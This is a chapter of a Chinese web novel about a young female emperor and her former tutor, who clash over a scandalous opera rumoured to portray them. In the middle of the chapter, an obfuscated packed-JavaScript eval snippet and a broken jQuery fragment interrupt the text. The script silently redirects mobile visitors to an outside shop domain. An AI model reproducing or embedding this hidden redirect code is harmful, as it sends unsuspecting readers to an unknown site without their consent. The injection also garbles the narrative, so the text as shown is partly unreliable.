沈宅这两日风平浪静得出奇。
初春的黄昏沉得比往日慢些,西边的残阳如同一摊泼洒在宣纸上的残血,不一会儿便被夜色吞噬了个干净,庭院里的老梅树落了一地的残红,踩上去发不出半点声响,沈肃坐在院里,手里捧着一卷书,细细地读着。
这罕见的宁静很快给一阵急促的脚步声扰乱,沈淙面色煞白地走进院里,“叔父。”
沈肃放下书,缓缓抬眼,问:“怎么了?”
回想起适才在街角听到的那些流言蜚语,沈淙自己也说不出口,死死绞着手指,试探着问道:“这两日叔父不曾进宫吗?”
“未曾,这两日陛下不曾召见。”沈肃奇怪地觑了他一眼,眉头微蹙,“怎么了?”
沈肃抿着唇,一言不发,这谣言闹得这么大,街头巷尾都在传唱那一出咳珠唾玉的帝台谣,他不相信宫里那位不曾发觉,为何这般默不作声,是默许吗?
未等沈肃发问,宥风着急地走进院里,全然不曾注意身边站着的沈淙。
“大人。”他先行一礼,回头见到沈淙,才慌忙道:“小公子。”
“怎么着急忙慌的。”沈肃问:“什么事?”
宥风不说话,小心翼翼地瞥了眼身侧的沈淙。
沈肃会意,温和地同沈淙摆摆手,道:“静川,你先下去。”
“是。”沈淙欲言又止,还是提着衣摆快步走远。
直到那少年的身影彻底消失在曲折的回廊尽头,沈肃才缓缓站起身,夜风将他的广袖吹起,在风中翻涌,他负手而立,脸上那一层薄薄的髭须在昏暗的暮色里平添了几分沧桑,“说吧,什么事?”
宥风面露难色,如实禀明,“大人,前几日京中戏楼兴起一出话本,名曰帝台谣,传唱的是女太子与太傅的……风流韵事,如今已经传至街头巷尾了,京中皆传言,这戏是以当朝帝王与少师为摹本写的——”
宛若有一道惊雷,在头顶炸开,沈肃的身形猛地一晃,头皮发麻,不可置信地看着宥风。
白皙的脸颊在刹那间褪去了所有的血色,宥风及时地闭嘴,却听见沈肃道:“继续说。”
“有百姓猜测,如今陛下后位空悬,或许是想将后位——”宥风顿了下,闭上眼,如豁出去般继续说:“留给少师。”
沈肃登时变了脸色,一口气险些没提上来,厉声呵斥,“一派胡言,谁给他们的胆子,胆敢编排当今圣上。”
宥风连忙道:“纪太傅已知晓此事,今早散朝后与陛下商议良久。”
“少师往日与陛下举止合乎情理,明眼人都知道。”
沈肃沉默不语,胸口剧烈起伏着,整个人如坠冰窟。
这两日上朝时朝中同僚看自己的眼神是有些奇怪,起初沈肃还当是近来自己蓄须旁人看不习惯,现在想来,原是这一层意思。
京中不少官员喜听戏,想来皆是知晓这一出戏的,也不知道秦彦知道了作何感想,当时周王将她推上这个位置,本就举步维艰,这两年好不容易将位置坐稳了又出这样的事,难保不会有人以此大做文章。
想到此,沈肃心里更是放心不下,他与秦彦私下如何是他们自己的事,由不得他人添油加醋地诋毁她。
他问宥风:“陛下是何反应?”
“陛下……没什么反应。”宥风说:“只是属下前去探查,前两日夜里,陈指挥使与薛院判去了停云楼,听的就是这一出戏。”
“身边还跟了个……”宥风脸上的神色古怪到了极致,“戴着帷帽看不出模样的姑娘,还有白芷姑姑”
“……”
戴着帷帽不辨模样,又能差遣平日里毫无交集的陈骁与薛令仪,除了秦彦还能有谁。
更何况还有白芷在旁侍奉。
沈肃眼前的视线猛地一暗,只觉得浑身的气血一股脑涌上了头顶,原来秦彦早就知道,却密而不发允许事态扩大,她自己的名声都不要了?
“荒唐。”沈肃现在是什么都顾不得了,连忙吩咐宥风,“备车,我要进宫。”
-
今日的乾熙宫内,气氛压抑得几乎擦得出火星。
这两日秦彦确实忙得脚不沾地,今早散朝,纪文君脸色铁青地求见,一进乾熙宫内殿便大发雷霆,恨不得立刻调动三军将京中的戏班子杀个干净。
秦彦本就存了借此流言引蛇出洞,钓出背后大鱼的心思,两人在御案前相谈了快两个时辰,好不容易才将这位急火攻心的帝师给安抚送走。
纪文君前脚刚跨出殿门,后脚刘全便火急火燎地弓着身子小跑进来,在秦彦耳边低声道:“陛下,沈少师求见。”
秦彦正揉着隐隐作痛的额角,闻言,那双险些阖上的杏眸里掠过一丝亮光,“让他进来。”
沈肃与纪文君进宫,一向是不必递奏疏的,东华门的金吾卫皆认得他二人,他们入宫也方便,有什么事可以直达圣听。
不过片刻,那道高直的身影直直地跪在殿内,“臣沈肃,见过陛下,陛下圣躬金安。”
秦彦坐在御座上,一袭玄色金纹的龙袍衬得她面容冷若冰霜,她不动如山,略抬了下手,道:“朕安。”
借着长明灯的火光,她端详着沈肃那张苍白的脸,盯着盯着,从喉咙里溢出一声意味不明的轻笑,“几日不见,少师这一蓄须,朕都险些认不出来。”
沈肃生硬道:“臣是到了该蓄须的年纪。”
“这是什么话?少师风华正茂。”秦彦嫣然一笑,语气平静,她站起来,居高临下地俯视他,“只是少师蓄须,看着没从前那般赏心悦目了,依朕看,还是剔了好。”
沈肃的身子挺得笔直,不卑不亢道:“臣年纪大了,是该蓄须以显沉稳,陛下予臣太子少师之职,臣自不能像个初出茅庐的少年。”
“看来少师当真不想与朕有一丝牵扯。”秦彦脸上还是笑着,听上去语气松快,“少师今日来,为着何事?”
沈肃装作没听到前半句调侃,径自回答秦彦的问题,“臣要禀之事,想来陛下已知晓。”
缉影卫在京中耳目众多,沈肃不信秦彦不知晓此事。
既是知晓,为何不加以制止?
沈肃忧心地看向她。
“此事有蹊跷。”秦彦看着沈肃,知道他为何而来,道:“朕与太傅议了一计。”
“在少师来之前,朕以为少师当知朕心中所想。”秦彦的眼里渐冷,他偏过头,自嘲般地笑笑,“看来还是朕自作多情了。”
沈肃深吸一口气,努力撇开心头的焦躁,“陛下与纪太傅如何打算?”
秦彦说:“自然是按兵不动,先不管这出戏唱得究竟是谁,不过既然矛头指向朕了,皇家威严总得立,抓几个唱词大胆下流的,先杀鸡儆猴。”
她明明都让陈骁寻人去改词了,哪成想昨日陈骁来禀,说还有几个不要命的戏楼,为着点碎银,非要唱原有的那淫\词\艳\曲。
那就不怪她了,总得摆出个态度,省得人人都想挑弄皇权。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17963781|214397||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
沈肃猛地抬起头,清明的眼眸里满是焦灼,“臣以为此计不可。”
秦彦微微抬眸,下巴轻轻抬起,“哦?”
若是换了旁人自然听不出,然沈肃陪着秦彦从孩童到成人,自然听出她话里藏着的那一丝不耐,好似将人置在薄如蝉翼的冰面上,稍有不慎就会跌入冰冷彻骨的湖底。
沈肃知道自己碰了秦彦的逆鳞,她如今是帝王了,自然不许人忤逆她。
沈肃也知道,当务之急的确是坐怀不乱地暗中留意幕后之人的下一步动作,但这流言四起,就好似戳破了他的心事,叫他坐立不安,只想着让这谣言快些下去。
但他还是得劝一劝,不能由着这流言四处散播,毁皇室声名,他硬着头皮道:“陛下,此事确有蹊跷,但陛下何不以雷霆手段现行镇压,再在背后派陈指挥使暗查。”
秦彦意外地看着他,轻叹了口气,“沈肃,你从前不这样。”
沉得住气,泰山崩于前而面不改色,这还是沈肃昔年授课时教她的。
现在不过几句流言,便叫他这般失了理智吗?还是因为事关于她,沈肃才这般着急想要撇清。
“先派人打草惊蛇,少师倒是有把握。”秦彦笑了笑,道:“你觉得我们能在这打草惊蛇的情况下,顺藤摸瓜找到幕后之人?”
她走下御座,一步步走到他跟前,停下,直视那双微微发红的眼眶,笑道:“还是少师心里有鬼,觉得如今这谣言四起,叫天下人看穿了你我心事?”
“陛下!”沈肃再度跪下来,羞愤交加,“臣对陛下绝无不轨之心。”
“那倒是奇了。”秦彦没让他起来,低低地笑了声,嘲弄道:“少师既一向光明磊落,身正不怕影子斜,难道会怕这几句流言?”
“若是怕。”她看向他,轻佻道:“不若朕将你接进乾熙宫,你也好避一避风头。”
沈肃的瞳孔骤然缩紧,这些日子以来秦彦说话愈发无所顾忌,纵然再惊涛骇浪的话也听过,可每每再听到这些话,沈肃还是下意识地想逃。
仿若这般一再退让,就能叫他们的关系回到从前。
十指在袖中蜷起,沈肃仰起头,看着御座上的帝王。
他们不能再这样下去了。
秦彦早日成婚,对他二人都好。
沈肃想,若是她不愿成婚,那他自己也得早日成家,好彻底断了秦彦的心思。
想到此处,沈肃心里那抹惊惶竟诡异地平息了下去,化作了一种近乎殉道般的死寂。
沈肃装作没听见她的话,俯首拜道:“臣还请陛下早些平息流言。”
秦彦说:“你该知道朕这么做是为什么。”
她想守株待兔,现如今她坐在这个位置上,敢这么公然和她作对折损她声名的,想来想去也没几个。
估计和逃至关外的那位有所勾结。
既然存心来找死,那她有的是耐心慢慢等,将藏在暗处的蛀虫一并剔除。
“陛下想做的自然有别的办法去做,陛下登基尚才二载,陛下的名声不容有失。”沈肃抬起头,决绝地看向她,“若是登基方才二年,便传出与师长的不伦之情,只会叫天下人觉得帝王昏聩,德行有亏。”
秦彦的唇角微微上扬,笃定道:“朕的德行,自有时间证明。”
“日后史书工笔,或许会记朕私德有亏,对昔年恩师生出妄念。”
她不容置疑地说:“但于天下万民而言,朕始终问心无愧。”